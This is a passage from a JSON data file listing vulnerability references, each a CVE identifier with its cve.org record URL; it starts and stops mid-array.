    {
      "name": "CVE-2024-31881",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-31881"
    },
    {
      "name": "CVE-2019-11358",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-11358"
    },
    {
      "name": "CVE-2026-69152",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-69152"
    },
    {
      "name": "CVE-2024-26665",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26665"
    },
    {
      "name": "CVE-2026-68525",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68525"
    },
    {
      "name": "CVE-2024-27062",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27062"
    },
    {
      "name": "CVE-2026-59901",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59901"
    },
    {
      "name": "CVE-2024-40960",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40960"
    },
    {
      "name": "CVE-2024-35839",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35839"
    },
    {
      "name": "CVE-2024-26852",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26852"
    },
    {
      "name": "CVE-2024-40997",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40997"
    },
    {
      "name": "CVE-2024-27395",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27395"
    },
    {
      "name": "CVE-2026-14525",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14525"
    },
    {
      "name": "CVE-2026-67313",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67313"
    },
    {
      "name": "CVE-2020-13955",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-13955"
    },
    {
      "name": "CVE-2024-42154",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42154"
    },
    {
      "name": "CVE-2024-42228",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42228"
    },
    {
      "name": "CVE-2026-8858",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8858"
    },
    {
      "name": "CVE-2026-42580",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42580"
    },
    {
      "name": "CVE-2021-47352",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47352"
    },
    {
      "name": "CVE-2024-36004",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36004"
    },
    {
      "name": "CVE-2026-41691",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41691"
    },
    {
      "name": "CVE-2024-26921",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26921"
    },
    {
      "name": "CVE-2024-43889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43889"
    },
    {
      "name": "CVE-2024-35952",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35952"
    },
    {
      "name": "CVE-2024-26859",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26859"
    },
    {
      "name": "CVE-2026-65637",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65637"
    },
    {
      "name": "CVE-2018-8009",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-8009"
    },
    {
      "name": "CVE-2026-50163",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50163"
    },
    {
      "name": "CVE-2026-67315",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67315"
    },
    {
      "name": "CVE-2026-54516",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54516"
    },
    {
      "name": "CVE-2026-55223",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55223"
    },
    {
      "name": "CVE-2025-7962",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-7962"
    },
    {
      "name": "CVE-2026-18499",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18499"
    },
    {
      "name": "CVE-2019-20444",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-20444"
    },
    {
      "name": "CVE-2026-54515",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
    },
    {
      "name": "CVE-2026-5516",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5516"
    },
    {
      "name": "CVE-2023-34462",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-34462"
    },
    {
      "name": "CVE-2024-41007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41007"
    },
    {
      "name": "CVE-2026-41721",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41721"
    },
    {
      "name": "CVE-2018-1313",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1313"
    },
    {
      "name": "CVE-2026-16221",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16221"
    },
    {
      "name": "CVE-2023-34454",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-34454"
    },
    {
      "name": "CVE-2024-35814",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35814"
    },
    {
      "name": "CVE-2022-46337",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-46337"
    },
    {
      "name": "CVE-2026-6790",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6790"
    },
    {
      "name": "CVE-2026-65911",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65911"
    },
    {
      "name": "CVE-2023-52764",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52764"
    },
    {
      "name": "CVE-2026-18401",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18401"
    },
    {
      "name": "CVE-2021-35516",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-35516"
    },
    {
      "name": "CVE-2024-26698",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26698"
    },
    {
      "name": "CVE-2024-26686",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26686"
    },
    {
      "name": "CVE-2024-35946",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35946"
    },
    {
      "name": "CVE-2023-44487",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-44487"
    },
    {
      "name": "CVE-2024-29857",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-29857"
    },
    {
      "name": "CVE-2024-35959",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35959"
    },
    {
      "name": "CVE-2024-26645",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26645"
    },
    {
      "name": "CVE-2026-66143",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66143"
    },
    {
      "name": "CVE-2024-36020",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36020"
    },
    {
      "name": "CVE-2024-42240",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42240"
    },
    {
      "name": "CVE-2026-66144",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66144"
    },
    {
      "name": "CVE-2024-35962",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35962"
    },
    {
      "name": "CVE-2026-44494",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44494"
    },
    {
      "name": "CVE-2023-26049",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-26049"
    },
    {
      "name": "CVE-2024-40972",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40972"
    },
    {
      "name": "CVE-2026-42585",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42585"
    },
    {
      "name": "CVE-2024-50192",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-50192"
    },
    {
      "name": "CVE-2024-26720",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26720"
    },
    {
      "name": "CVE-2024-35855",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35855"
    },
    {
      "name": "CVE-2024-36917",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36917"
    },
    {
      "name": "CVE-2024-45018",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45018"
    },
    {
      "name": "CVE-2026-12860",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12860"
    },
    {
      "name": "CVE-2026-10571",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10571"
    },
    {
      "name": "CVE-2024-34447",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-34447"
    },
    {
      "name": "CVE-2026-65901",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65901"
    },
    {
      "name": "CVE-2026-11541",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11541"
    },
    {
      "name": "CVE-2014-3578",
      "url": "https://www.cve.org/CVERecord?id=CVE-2014-3578"
    },
    {
      "name": "CVE-2026-41635",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41635"
    },
    {
      "name": "CVE-2024-43871",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43871"
    },
    {
      "name": "CVE-2023-52784",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52784"
    },
    {
      "name": "CVE-2022-40897",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-40897"
    },
    {
      "name": "CVE-2024-31880",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-31880"
    },
    {
      "name": "CVE-2024-29025",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-29025"
    },
    {
      "name": "CVE-2024-43880",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43880"
    },
    {
      "name": "CVE-2021-47461",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47461"
    },
    {
      "name": "CVE-2026-11546",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11546"
    },
    {
      "name": "CVE-2026-42036",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42036"
    },
    {
      "name": "CVE-2024-40959",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40959"
    },
    {
      "name": "CVE-2026-64607",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-64607"
    },
    {
      "name": "CVE-2026-59652",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59652"
    },
    {
      "name": "CVE-2024-27042",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27042"
    },
    {
      "name": "CVE-2023-34453",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-34453"
    },
    {
      "name": "CVE-2024-26669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26669"
    },
    {
      "name": "CVE-2024-26801",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26801"
    },
    {
      "name": "CVE-2024-27043",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27043"
    },
    {
      "name": "CVE-2024-41761",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41761"
    },
    {
      "name": "CVE-2024-36007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36007"
    },
    {
      "name": "CVE-2026-65903",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65903"
    },
    {
      "name": "CVE-2021-47311",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47311"
    },
    {
      "name": "CVE-2026-65900",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
    },
    {
      "name": "CVE-2026-66010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66010"
    },
    {
      "name": "CVE-2026-52746",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-52746"
    },
    {
      "name": "CVE-2024-28762",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-28762"
    },
    {
      "name": "CVE-2023-3635",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-3635"
    },
    {
      "name": "CVE-2026-43827",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43827"
    },
    {
      "name": "CVE-2026-50184",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50184"
    },
    {
      "name": "CVE-2026-47885",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47885"
    },
    {
      "name": "CVE-2026-50169",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50169"
    },
    {
      "name": "CVE-2021-47287",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47287"
    },
    {
      "name": "CVE-2021-47338",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47338"
    },
    {
      "name": "CVE-2024-26940",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26940"
    },
    {
      "name": "CVE-2026-47065",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47065"
    },
    {
      "name": "CVE-2026-55831",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55831"
    },
    {
      "name": "CVE-2024-35937",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35937"
    },
    {
      "name": "CVE-2023-5072",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-5072"
    },
    {
      "name": "CVE-2026-47841",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47841"
    },
    {
      "name": "CVE-2021-23337",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-23337"
    },
    {
      "name": "CVE-2024-36952",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36952"
    },
    {
      "name": "CVE-2024-38581",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38581"
    },
    {
      "name": "CVE-2026-41707",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41707"
    },
    {
      "name": "CVE-2021-23369",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-23369"
    },
    {
      "name": "CVE-2026-77415",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77415"
    },
    {
      "name": "CVE-2026-42403",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42403"
    },
    {
      "name": "CVE-2024-41056",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41056"
    },
    {
      "name": "CVE-2024-38586",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38586"
    },
    {
      "name": "CVE-2024-26880",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26880"
    },
    {
      "name": "CVE-2022-31777",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-31777"
    },
    {
      "name": "CVE-2019-14893",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-14893"
    },
    {
      "name": "CVE-2026-10534",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10534"
    },
    {
      "name": "CVE-2024-36025",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36025"
    },
    {
      "name": "CVE-2026-59880",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59880"
    },
    {
      "name": "CVE-2026-65432",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65432"
    },
    {
      "name": "CVE-2026-59894",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59894"
    },
    {
      "name": "CVE-2019-0231",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-0231"
    },
    {
      "name": "CVE-2023-50298",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-50298"
    },
    {
      "name": "CVE-2026-15057",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15057"
    },
    {
      "name": "CVE-2026-41607",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41607"
    },
    {
      "name": "CVE-2024-26308",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26308"
    },
    {
      "name": "CVE-2025-1992",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1992"
    },
    {
      "name": "CVE-2026-44248",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44248"
    },
    {
      "name": "CVE-2018-20676",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-20676"
    },
    {
      "name": "CVE-2024-26773",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26773"
    },
    {
      "name": "CVE-2024-53197",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-53197"
    },
    {
      "name": "CVE-2024-36017",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36017"
    },
    {
      "name": "CVE-2024-31141",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-31141"
    },
    {
      "name": "CVE-2024-27434",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27434"
    },
    {
      "name": "CVE-2025-13755",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13755"
    },
    {
      "name": "CVE-2025-62718",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-62718"
    },
    {
      "name": "CVE-2025-36136",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-36136"
    },
    {
      "name": "CVE-2024-35852",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35852"
    },
    {
      "name": "CVE-2024-26931",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26931"
    },
    {
      "name": "CVE-2021-47560",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47560"
    },
    {
      "name": "CVE-2026-49458",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
    },
    {
      "name": "CVE-2026-4800",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4800"
    },
    {
      "name": "CVE-2024-40974",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40974"
    },
    {
      "name": "CVE-2026-42584",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42584"
    },
    {
      "name": "CVE-2024-35924",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35924"
    },
    {
      "name": "CVE-2026-4410",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4410"
    },
    {
      "name": "CVE-2024-36928",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36928"
    },
    {
      "name": "CVE-2024-38558",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38558"
    },
    {
      "name": "CVE-2026-44249",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44249"
    },
    {
      "name": "CVE-2023-52775",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52775"
    },
    {
      "name": "CVE-2026-41284",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41284"
    },
    {
      "name": "CVE-2025-36008",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-36008"
    },
    {
      "name": "CVE-2026-59647",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59647"
    },
    {
      "name": "CVE-2024-42124",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42124"
    },
    {
      "name": "CVE-2024-36960",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36960"
    },
    {
      "name": "CVE-2021-35517",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-35517"
    },
    {
      "name": "CVE-2024-30172",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-30172"
    },
    {
      "name": "CVE-2026-42577",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42577"
    },
    {
      "name": "CVE-2026-58059",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58059"
    },
    {
      "name": "CVE-2026-48978",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48978"
    },
    {
      "name": "CVE-2021-47582",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47582"
    },
    {
      "name": "CVE-2023-52781",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52781"
    },
    {
      "name": "CVE-2021-47385",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47385"
    },
    {
      "name": "CVE-2026-75596",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75596"
    },
    {
      "name": "CVE-2026-8484",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8484"
    },
    {
      "name": "CVE-2026-8763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8763"
    },
    {
      "name": "CVE-2026-6051",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6051"
    },
    {
      "name": "CVE-2026-44598",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44598"
    },
    {
      "name": "CVE-2023-52486",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52486"
    },
    {
      "name": "CVE-2024-40989",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40989"
    },
    {
      "name": "CVE-2024-35845",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35845"
    },
    {
      "name": "CVE-2025-14917",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14917"
    },
    {
      "name": "CVE-2023-52619",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52619"
    },
    {
      "name": "CVE-2023-52796",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52796"
    },
    {
      "name": "CVE-2024-36286",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36286"
    },
    {
      "name": "CVE-2026-15325",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15325"
    },
    {
      "name": "CVE-2021-47073",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47073"
    },
    {
      "name": "CVE-2026-69247",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-69247"
    },
    {
      "name": "CVE-2026-49268",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49268"
    },
    {
      "name": "CVE-2024-36124",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36124"
    },
    {
      "name": "CVE-2021-47579",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47579"
    },
    {
      "name": "CVE-2026-33671",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33671"
    },
    {
      "name": "CVE-2026-14976",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14976"
    },
    {
      "name": "CVE-2026-5598",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5598"
    },
    {
      "name": "CVE-2025-68470",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-68470"
    },
    {
      "name": "CVE-2024-27017",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27017"
    },
    {
      "name": "CVE-2026-65182",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65182"
    },
    {
      "name": "CVE-2018-11087",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-11087"
    },
    {
      "name": "CVE-2026-42033",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
    },
    {
      "name": "CVE-2024-39502",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39502"
    },
    {
      "name": "CVE-2026-42035",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42035"
    },
    {
      "name": "CVE-2024-26804",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26804"
    },
    {
      "name": "CVE-2026-18446",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18446"
    },
    {
      "name": "CVE-2026-44495",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44495"
    },
    {
      "name": "CVE-2024-27065",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27065"
    },
    {
      "name": "CVE-2026-41695",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41695"
    },
    {
      "name": "CVE-2024-23454",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-23454"
    },
    {
      "name": "CVE-2024-27388",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27388"
    },
    {
      "name": "CVE-2024-50082",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-50082"
    },
    {
      "name": "CVE-2026-22740",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22740"
    },
    {
      "name": "CVE-2026-47890",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47890"
    },
    {
      "name": "CVE-2023-52686",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52686"
    },
    {
      "name": "CVE-2024-36005",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36005"
    },
    {
      "name": "CVE-2022-3510",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-3510"
    },
    {
      "name": "CVE-2026-59903",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59903"
    },
    {
      "name": "CVE-2024-40977",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40977"
    },
    {
      "name": "CVE-2022-3509",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-3509"
    },
    {
      "name": "CVE-2026-14684",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14684"
    },
    {
      "name": "CVE-2024-36905",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36905"
    },
    {
      "name": "CVE-2026-56746",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56746"
    },
    {
      "name": "CVE-2024-35893",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35893"
    },
    {
      "name": "CVE-2024-40983",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40983"
    },
    {
      "name": "CVE-2021-37137",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-37137"
    },
    {
      "name": "CVE-2026-10842",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10842"
    },
    {
      "name": "CVE-2021-47236",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47236"
    },
    {
      "name": "CVE-2023-51074",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-51074"
    },
    {
      "name": "CVE-2024-53122",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-53122"
    },
    {
      "name": "CVE-2021-47373",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47373"
    },
    {
      "name": "CVE-2026-9496",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9496"
    },
    {
      "name": "CVE-2026-34478",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34478"
    },
    {
      "name": "CVE-2026-42586",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42586"
    },
    {
      "name": "CVE-2026-35091",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-35091"
    },
    {
      "name": "CVE-2024-57807",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-57807"
    },
    {
      "name": "CVE-2025-30474",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-30474"
    },
    {
      "name": "CVE-2024-41008",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41008"
    },
    {
      "name": "CVE-2026-40984",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40984"
    },
    {
      "name": "CVE-2021-41973",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-41973"
    },
    {
      "name": "CVE-2023-52683",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52683"
    },
    {
      "name": "CVE-2023-52800",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52800"
    },
    {
      "name": "CVE-2024-8184",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-8184"
    },
    {
      "name": "CVE-2026-54428",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54428"
    },
    {
      "name": "CVE-2026-50162",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50162"
    },
    {
      "name": "CVE-2026-42043",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
    },
    {
      "name": "CVE-2024-26935",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26935"
    },
    {
      "name": "CVE-2025-11143",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11143"
    },
    {
      "name": "CVE-2026-15055",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15055"
    },
    {
      "name": "CVE-2026-8646",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8646"
    },
    {
      "name": "CVE-2026-45822",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45822"
    },
    {
      "name": "CVE-2025-36006",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-36006"
    },
    {
      "name": "CVE-2026-40477",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40477"
    },
    {
      "name": "CVE-2023-35701",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-35701"
    },
    {
      "name": "CVE-2024-26846",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26846"
    },
    {
      "name": "CVE-2026-47834",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47834"
    },
    {
      "name": "CVE-2026-34480",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34480"
    },
    {
      "name": "CVE-2026-14682",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14682"
    },
    {
      "name": "CVE-2024-35890",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35890"
    },
    {
      "name": "CVE-2024-41041",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41041"
    },
    {
      "name": "CVE-2018-20677",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-20677"
    },
    {
      "name": "CVE-2024-42131",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42131"
    },
    {
      "name": "CVE-2026-84305",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84305"
    },
    {
      "name": "CVE-2024-35944",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35944"
    },
    {
      "name": "CVE-2026-73180",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73180"
    },
    {
      "name": "CVE-2024-42079",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42079"
    },
    {
      "name": "CVE-2024-35898",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35898"
    },
    {
      "name": "CVE-2026-59869",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59869"
    },
    {
      "name": "CVE-2026-47887",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47887"
    },
    {
      "name": "CVE-2024-27399",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27399"
    },
    {
      "name": "CVE-2025-36186",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-36186"
    },
    {
      "name": "CVE-2024-36270",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36270"
    },
    {
      "name": "CVE-2026-62243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-62243"
    },
    {
      "name": "CVE-2023-22946",
